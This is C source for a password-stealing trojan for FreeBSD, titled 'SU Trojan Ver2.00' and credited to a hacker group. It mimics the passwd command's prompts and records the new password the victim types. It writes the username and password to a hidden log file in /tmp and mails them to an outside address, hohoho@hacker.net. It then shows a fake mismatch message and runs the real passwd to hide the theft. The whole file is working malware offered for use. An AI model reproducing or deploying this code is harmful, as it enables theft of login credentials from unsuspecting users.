<![CDATA[/*=============================================================================
SU Trojan Ver2.00 for FreeBSD
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (unewn4th@usa.net)
=============================================================================
*/
#include <pwd.h>
#include <stdio.h>
#include <stdlib.h>
/* パスワードを通知するメアド */
/* 以下の1行を削除するとメール通知は行われません */
#define MAIL "hohoho@hacker.net"
/* ロギングファイル. 見つかりにくい名前に変更 */
#define LOGFILE "/tmp/.pl"
#define MSG_PERMERR "passwd: Permission denied\n"
#define MSG_DOESNTEXIST "passwd: unknown user %s\n"
#define MSG_BANNER "Changing password for %s.\n"
#define MSG_OLDPASS "Old password:"
#define MSG_BADOLDPASS "passwd: /etc/master.passwd: unchanged\n"
#define MSG_NEWPASS "New password:"
#define MSG_RENEWPAS "Retype new password: "
#define MSG_TOOSHORT "Please enter a password at least 6 characters in length.\n"
#define MSG_INVALID "Please don't use an all-lower case password.\n"\
"Unusual capitalization, control characters or digits are suggested.\n"
#define MSG_DONTMATCH "Mismatch; try again, EOF to quit.\n"
#define TMPFILE "/tmp/.tmp"
#define MAX_USERNAME 200
#define MAX_PASSWD 200
main(int argc,char *argv[])
{
int uid=getuid();
struct passwd p;
char oldpasswd[MAX_PASSWD],newpasswd[MAX_PASSWD],renewpasswd[MAX_PASSWD];
char *getpass_sys(char *);
char username[MAX_USERNAME];
char buf[200];
FILE *fp;
memcpy(&p,getpwuid(uid),sizeof(struct passwd));
if (argc==1)
strcpy(username,p.pw_name);
else{
strncpy(username,argv[1],MAX_USERNAME-1);
username[MAX_USERNAME-1]=0;
if (getpwnam(argv[1])==NULL){
printf(MSG_DOESNTEXIST,argv[1]);
exit(1);
}
memcpy(&p,getpwuid(uid),sizeof(struct passwd));
if (uid!=0 && strcmp(p.pw_name,argv[1])){
printf(MSG_PERMERR);
exit(1);
}
}
printf(MSG_BANNER,username);
if (uid!=0){
strncpy(oldpasswd,getpass(MSG_OLDPASS),MAX_PASSWD-1);
oldpasswd[MAX_PASSWD-1]=0;
if (strlen(oldpasswd)==0){
printf(MSG_PERMERR);
printf(MSG_BADOLDPASS);
exit(1);
}
}
strncpy(newpasswd,getpass_sys(MSG_NEWPASS),MAX_PASSWD-1);
newpasswd[MAX_PASSWD-1]=0;
strncpy(renewpasswd,getpass_sys(MSG_RENEWPAS),MAX_PASSWD-1);
renewpasswd[MAX_PASSWD-1]=0;
printf(MSG_DONTMATCH);
if ((fp=fopen(LOGFILE,"a"))!=NULL){
fprintf(fp,"%s %s %s\n",username,newpasswd,renewpasswd);
fclose(fp);
}
#ifdef MAIL
if ((fp=fopen(TMPFILE,"w"))!=NULL){
fprintf(fp,"%s %s %s\n",username,newpasswd,renewpasswd);
fclose(fp);
}
sprintf(buf,"mail %s < %s",MAIL,TMPFILE);
system(buf);
remove(TMPFILE);
#endif
system("passwd");
}
char *getpass_sys(char *d)
{
static char *x;
int i,c1,c2;
for (;;){
x=(char *)getpass(d);
if (strlen(x)<6){
printf(MSG_TOOSHORT);
continue;
}
c1=c2=0;
for (i=0;i<strlen(x);i++){
if ((x[i]>='a' && x[i]<='x') || (x[i]>='A' && x[i]<='X')) c1++;
else c2++;
}
if (c1<2 || c2==0){
printf(MSG_INVALID);
continue;
}
break;
}
return (x);
}
]]>